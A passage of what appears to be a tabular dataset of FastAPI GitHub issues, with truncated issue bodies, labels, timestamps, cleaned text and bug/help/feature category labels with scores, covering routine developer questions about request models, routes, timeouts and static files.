    leftover: Optional[int]

    class Config:
        arbitrary_types_allowed = True
```


```python
# Endpoint, which throws the exception
@app.post(""/editProduct"")
async def edit_product(body: EditProductRequestBody) -> Response:
    ...
    return JSONResponse(content={""message"": ""success""})
```

```python
# Endpoint, which lays earlier, but don't throws the exception

@app.post(""/uploadImage"")
async def upload_image(ph... [TRUNCATED]","question,question-migrate",2023-01-16 07:09:47+00:00,2023-02-27 19:07:30+00:00,1,"question,question-migrate",42.4984,strange exception saying that error in response model s types but referencing request model first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python endpoint which lays earlier but don t throws the exception app post uploadimage async def upload image ph truncated,bug,0.8834
tiangolo/fastapi,1534192118,Request Body missing filed,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class NotificationGroupBase(BaseModel):
    id: Optional[int]
    name: str
    owner: str
    create_time: Optional[str]
    update_time: Optional[str]
    class Config:
        orm_mode = True
        schema_extra = {
            ""example"": {
                id: 1,
                ""name"": ""SRE_Notification_Group"",
                ""owner"": ""test@trendmicro.com"",
                ""create_time"": ""1234567890123"",
                ""update_time"": ""1234567890123""
            }
        }

# end class
@router.post(""/"")
async def add_notification_group(notification_group: NotificationGroupBase, trace: UUID = Header(...), db: Session = Depen... [TRUNCATED]","question,question-migrate",2023-01-16 03:03:10+00:00,2023-02-27 19:07:28+00:00,1,"question,question-migrate",42.6697,request body missing filed first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python class notificationgroupbase basemodel id optional int name str owner str create time optional str update time optional str class config orm mode true schema extra example id name sre notification group owner test trendmicro com create time update time end class router post async def add notification group notification group notificationgroupbase trace uuid header db session depen truncated,feature,0.9643
tiangolo/fastapi,1532982357,How to handle custom methods in endpoint routes such as /posts/{id}:like and /posts/{id}:unlike,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

from fastapi import FastAPI

app = FastAPI()

@app.patch(""/posts/{id}:like"")
def like_post(id: int):
    return {""id"": id, ""message"": ""This post was successfully liked!""}

@app.patch(""/posts/{id}:unlike"")
def unlike_post(id: int):
    return {""id"": id, ""message"": ""This post was successfully unliked!""}
```


### Description

What is the best way to define a custom method that falls outside of the standard HTTP verbs? For example liking or unliking a post on a social media website.

I tried the included code sample and I get an error: ""value is not a valid integer"" because I think it is trying to validate the {id... [TRUNCATED]","question,question-migrate",2023-01-13 22:15:44+00:00,2023-02-27 19:07:24+00:00,5,"question,question-migrate",44.8692,how to handle custom methods in endpoint routes such as posts id like and posts id unlike first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description what is the best way to define a custom method that falls outside of the standard http verbs for example liking or unliking a post on a social media website i tried the included code sample and i get an error value is not a valid integer because i think it is trying to validate the id truncated,help,0.978
tiangolo/fastapi,1532069201,asyncio.wait_for doesn't time out as expected,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
d
```


### Description

d

### Operating System

macOS

### Operating System Details

d

### FastAPI Version

fastapi==0.89.1

### Python Version

3.9

### Additional Context

```
@app.middleware(""http"")
async def add_process_time_header(request: Request, call_next):
    start_time = time.time()
    response = await call_next(request)
    process_time = time.time() - start_time
    # response.headers[""X-Process-Time""] = str(process_time)
    print(""adfadsfasdf"")
    # response.headers[""Test middleware""] = str(random.randint(1, 1000))
    return response


REQUEST_TIMEOUT_ERROR = 1.0 # seconds to wait for
from fastapi.responses import JS... [TRUNCATED]","question,question-migrate",2023-01-13 10:24:02+00:00,2023-02-24 16:30:07+00:00,3,"question,question-migrate",42.2542,asyncio wait for doesn t time out as expected first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description d macos details d fastapi version fastapi python version app middleware http async def add process time header request request call next start time time time response await call next request process time time time start time response headers x process time str process time print adfadsfasdf response headers test middleware str random randint return response request timeout error seconds to wait for from fastapi responses import js truncated,help,0.8519
tiangolo/fastapi,1531305710,Posting an empty array in a Form errors with 422,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# python3 -m pip install fastapi pytest
# python3 -m pytest tests/post.py

from typing import Optional

from fastapi import Form, FastAPI, Query
from fastapi.testclient import TestClient

app = FastAPI()

@app.post(""/list"")
def read_query(q: list[Optional[str]] = Form()):
    return q

client = TestClient(app)

def test_full_list_valid():
    response = client.post(""/list"", data={""q"": [""hi"", ""there""]})
    assert response.status_code == 200
    assert response.json() == [""hi"", ""there""]

def test_empty_list_valid():
    response = client.post(""/list"", data={""q"": []})
    assert response.status_code == 200
    ... [TRUNCATED]","question,question-migrate",2023-01-12 20:18:21+00:00,2023-02-24 16:30:05+00:00,1,"question,question-migrate",42.8415,posting an empty array in a form errors with first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python python m pip install fastapi pytest python m pytest tests post py from typing import optional from fastapi import form fastapi query from fastapi testclient import testclient app fastapi app post list def read query q list optional str form return q client testclient app def test full list valid response client post list data q hi there assert response status code assert response json hi there def test empty list valid response client post list data q assert response status code truncated,bug,0.8555
tiangolo/fastapi,1530253689,Bug - Missing String representation of the fastapi.HTTPException when initializing with parameter names,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import fastapi 
import pytest

# When creating the function with parameter names, the string representation does not work:
exc = fastapi.HTTPException(status_code=401, detail=""Authentication error: Authorization header is missing."")
print(f""String representation of the exception: '{exc}'"")

# When creating the function without parameter names, the string representation works:
exc = fastapi.HTTPException(401, ""Authentication error: Authorization header is missing."")
print(f""String representation of the exception without params: '{exc}'"")


# The missing string representation becomes a problem when using pytest to check for the raised
# ex... [TRUNCATED]","question,reviewed,question-migrate",2023-01-12 07:45:33+00:00,2023-02-24 16:30:03+00:00,0,"question,reviewed,question-migrate",43.3642,bug missing string representation of the fastapi httpexception when initializing with parameter names first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import fastapi import pytest when creating the function with parameter names the string representation does not work exc fastapi httpexception status code detail authentication error authorization header is missing print f string representation of the exception exc when creating the function without parameter names the string representation works exc fastapi httpexception authentication error authorization header is missing print f string representation of the exception without params exc the missing string representation becomes a problem when using pytest to check for the raised ex truncated,bug,-0.6428
tiangolo/fastapi,1529487253,Beginner - need help connecting to microsoft sql with already created tables,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
None to show yet
```


### Description

Hi, I don't have much code yet as I'm just getting started and am new to coding in general. I have created a dashboard using Dash. I need to take information (which I have already put into JSON format) and put it into tables I have already made using Microsoft SQL Server Management. My boss suggested I look into FastAPI. I have gone through the tutorial but am still just struggling to translate to my needs. Does anyone have any help they can offer or code they can share so I can see an example? Thanks so much!

### Operating System

Windows

### Operating System Details

_No response_

### FastAPI Version

0.89... [TRUNCATED]","question,question-migrate",2023-01-11 18:24:15+00:00,2023-02-27 19:07:21+00:00,2,"question,question-migrate",47.0299,beginner need help connecting to microsoft sql with already created tables first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hi i don t have much code yet as i m just getting started and am new to coding in general i have created a dashboard using dash i need to take information which i have already put into json format and put it into tables i have already made using microsoft sql server management my boss suggested i look into fastapi i have gone through the tutorial but am still just struggling to translate to my needs does anyone have any help they can offer or code they can share so i can see an example thanks so much windows details no response fastapi version truncated,help,0.965
tiangolo/fastapi,1528679770,Query parameter type is not instantiated using __new__,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from datetime import datetime

import fastapi
import httpx
import pytest
from fastapi import FastAPI

app = FastAPI()


class CustomDate(datetime):
    def __new__(cls, *args, **kwargs):
        try:
            parsed = datetime.strptime(args[0], ""%Y-%m-%dT%H:%M:%S.%f%z"")
            return super().__new__(cls, parsed.year + 1, month=parsed.month,
                                   day=parsed.day)
        except TypeError:
            return super().__new__(cls, *args, **kwargs)


@app.get(""/"")
async def get(begin: CustomDate = fastapi.Query()):
    return {""data"": begin}


@pytest.fixture
def anyio_backend():
    return ""... [TRUNCATED]","question,question-migrate",2023-01-11 09:10:50+00:00,2023-02-24 16:30:01+00:00,2,"question,question-migrate",44.305,query parameter type is not instantiated using new first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from datetime import datetime import fastapi import httpx import pytest from fastapi import fastapi app fastapi class customdate datetime def new cls args kwargs try parsed datetime strptime args y m dt h m s f z return super new cls parsed year month parsed month day parsed day except typeerror return super new cls args kwargs app get async def get begin customdate fastapi query return data begin pytest fixture def anyio backend return truncated,feature,0.9761
tiangolo/fastapi,1527849563,Generic types aren't properly parsed via FastAPI APIRouter,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆


### Description

I have a fairly complex base class in an app which I want to reuse throughout for ease of implementation and readability. However, the types of the input arguments to each of the underlying API routes changes depending on the route. To summarise the issue, I have made a very basic implementation with similar logic below:

Filename=`test.py`:
```python
from typing import Generic, List, TypeVar
from fastapi import APIRouter, FastAPI

app = FastAPI()

T = TypeVar(""T"")

class Test(Generic[T]):
    def __init__(self, route_base_name: str):
        # create routes
        self.router = APIRouter()
        self.router.add_api_route(
... [TRUNCATED]","question,question-migrate",2023-01-10 18:45:34+00:00,2023-02-24 16:29:58+00:00,4,"question,question-migrate",44.9058,generic types aren t properly parsed via fastapi apirouter first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options description i have a fairly complex base class in an app which i want to reuse throughout for ease of implementation and readability however the types of the input arguments to each of the underlying api routes changes depending on the route to summarise the issue i have made a very basic implementation with similar logic below filename python from typing import generic list typevar from fastapi import apirouter fastapi app fastapi t typevar t class test generic t def init self route base name str create routes self router apirouter self router add api route truncated,help,0.9382
tiangolo/fastapi,1526278570,Method Not Allowed when i use post,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import List
from fastapi import FastAPI
from uuid import UUID,uuid4
from models import User, Gender, Role

app = FastAPI()

db: List[User] = [
    User(
        id=uuid4(),
        first_name=""John"",
        last_name=""Doe"",
        gender=Gender.male,
        roles=[Role.user]
         ),
    User(
        id=UUID(""3f4f106b-1758-4e1f-a5ac-205ad4a177bf""),
        first_name=""Natalia"",
        last_name=""Landofdawn"",
        gender=Gender.female,
        roles=[Role.user,Role.admin]
         )
]

@app.get('/')
async def root():
    return {""hello"":""world""}

@app.get('/api/v1/users')
async def fetch_users():
  ... [TRUNCATED]","question,question-migrate",2023-01-09 20:30:14+00:00,2023-02-27 19:07:18+00:00,2,"question,question-migrate",48.9424,method not allowed when i use post first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import list from fastapi import fastapi from uuid import uuid uuid from models import user gender role app fastapi db list user user id uuid first name john last name doe gender gender male roles role user user id uuid f f b e f a ac ad a bf first name natalia last name landofdawn gender gender female roles role user role admin app get async def root return hello world app get api v users async def fetch users truncated,help,0.9136
tiangolo/fastapi,1525943686,FastAPI don't call pydantic to json,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import json

from fastapi import FastAPI
from pydantic import BaseModel


def json_dump(*args, **kwargs):
    print('HELLO')
    return json.dumps(*args, **kwargs)

class MyModel(BaseModel):

    class Config:
        json_dumps = json_dump

    a : int


data = MyModel(a=1)

data.json()

app = FastAPI()

@app.post(""/hello/"", response_model=MyModel)
async def hello() -> MyModel:
    return MyModel(a=1)


import uvicorn

uvicorn.run(app)

### on client.py side
from httpx import Client

with Client(base_url=""http://localhost:8000"") as ac:
    resp = ac.post(
        ""/hello/"",
    )

>>> HELLO
```


### Descript... [TRUNCATED]","question,question-migrate",2023-01-09 16:43:45+00:00,2023-02-24 16:29:55+00:00,5,"question,question-migrate",45.9904,fastapi don t call pydantic to json first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code descript truncated,help,0.9136
tiangolo/fastapi,1525365311,fastapi.exceptions.FastAPIError: Invalid args for response field! Hint: check that <class 'starlette.responses.JSONResponse'> is a valid pydantic field type,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import logging

from fastapi import APIRouter
from fastapi.responses import JSONResponse

liveness = True

router = APIRouter()


@router.get(
    ""/livez"",
    summary=""Liveness probe"",
    description=""Returns 200 if the service is alive"",
)
async def get_liveness() -> JSONResponse:
    logging.debug(""GET /livez"")
    if liveness:
        return JSONResponse(status_code=200, content={""status"": ""ok""})
    else:
        return JSONResponse(status_code=500, content={""status"": ""not ok""})
```


### Description

With version 0.88.0, my unit tests run fine, I get no error. With version 0.89.0, I get the following error:

```
/root/.... [TRUNCATED]","bug,answered,reviewed",2023-01-09 11:05:37+00:00,2023-02-06 11:08:59+00:00,18,"bug,answered,reviewed",28.0023,fastapi exceptions fastapierror invalid args for response field hint check that is a valid pydantic field type first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description with version my unit tests run fine i get no error with version i get the following error root truncated,bug,0.4767
tiangolo/fastapi,1525287119,FastAPI==0.89.0 Cannot use `None` as a return type when `status_code` is set to 204 with `from __future__ import annotations`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from __future__ import annotations 

from fastapi import FastAPI

app = FastAPI()


@app.get(""/"", status_code=204)
def read_root() -> None:
    return {""Hello"": ""World""}
```


### Description

If we add:
`from __future__ import annotations`

It changes the annotations structure and the response model is `NoneType` instead of `None`, which causes validation of the `statuc_code` vs `response_model` and raises an exception.

```python
  ...
  File "".../site-packages/fastapi/routing.py"", line 635, in decorator
    self.add_api_route(
  File "".../site-packages/fastapi/routing.py"", line 574, in add_api_route
    route = route_class(
  F... [TRUNCATED]","question,question-migrate",2023-01-09 10:14:01+00:00,2023-02-24 16:29:52+00:00,2,"question,question-migrate",46.261,fastapi cannot use as a return type when is set to with first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description if we add it changes the annotations structure and the response model is instead of which causes validation of the vs and raises an exception python file site packages fastapi routing py line in decorator self add api route file site packages fastapi routing py line in add api route route route class f truncated,help,0.9136
tiangolo/fastapi,1524587957,In fastapi==0.89.0 add_api_route fails with FileResponse,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.responses import FileResponse

from pathlib2 import Path

app = FastAPI()

@app.get(""/favicon.ico"")
def favicon() -> FileResponse:
    result = FileResponse(
        path='C:\\TEMP\\favicon.ico', -- any valid path, this is an example for Windows
        status_code=200,
        media_type='image/png',
        filename='favicon.ico',
    )
    return result
```


### Description

When using FileResponse as documented here: https://fastapi.tiangolo.com/advanced/custom-response/#fileresponse
and upgrading to fastapi==0.89.0 (works on 0.88.0) exception is thrown:

   File ""/usr/local/lib/python3.... [TRUNCATED]","bug,answered,reviewed",2023-01-08 16:50:56+00:00,2023-01-21 00:13:33+00:00,11,"bug,answered,reviewed",12.3074,in fastapi add api route fails with fileresponse first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description when using fileresponse as documented here and upgrading to fastapi works on exception is thrown file usr local lib python truncated,bug,0.8957
tiangolo/fastapi,1523904307,how to mount two sub app with its own static files?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from fastapi.staticfiles import StaticFiles

app = FastAPI()
subapp1= FastAPI()
subapp2 = FastAPI()

app.mount(""/subapp1"", subapp1)
app.mount(""/subapp2"", subapp2)

subapp1.mount(
    ""/assets"",
    StaticFiles(directory=""app/subapp1/frontend/dist/assets""),
)
subapp2.mount(
    ""/assets"",
    StaticFiles(directory=""app/subapp2/frontend/dist/assets""),
)

@subapp1.get(""/"")
async def subapp1():
    return FileResponse(""app/subapp1/frontend/dist/index.html"")
@subapp2.get(""/"")
async def subapp2():
    return FileResponse(""app/subapp2/frontend/dist/index.html"")


if __name__ == ""__main... [TRUNCATED]","question,question-migrate",2023-01-07 15:12:13+00:00,2023-02-27 19:07:16+00:00,1,"question,question-migrate",51.1632,how to mount two sub app with its own static files first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi import fastapi from fastapi staticfiles import staticfiles app fastapi subapp fastapi subapp fastapi app mount subapp subapp app mount subapp subapp subapp mount assets staticfiles directory app subapp frontend dist assets subapp mount assets staticfiles directory app subapp frontend dist assets subapp get async def subapp return fileresponse app subapp frontend dist index html subapp get async def subapp return fileresponse app subapp frontend dist index html if name main truncated,help,0.9578
tiangolo/fastapi,1522525232,Problem with Concurrency Request: High Response time,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code 
main.py:

```python
import os
import sys
import json
import time
from lib.UserID import UserID

from model.ModelUserToken import ModelUserToken

from fastapi import FastAPI, Depends, Body, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.concurrency import run_in_threadpool
from pydantic import BaseModel
from prometheus_fastapi_instrumentator import Instrumentator
import resource
import uuid
import loguru


#Load the key of the tenant
with open(os.path.join(sys.path[0], ""/app/data/key.json""), ""r"") as f:
    data = json.load(f)

kid_crm = data['CRM']['credentialId']
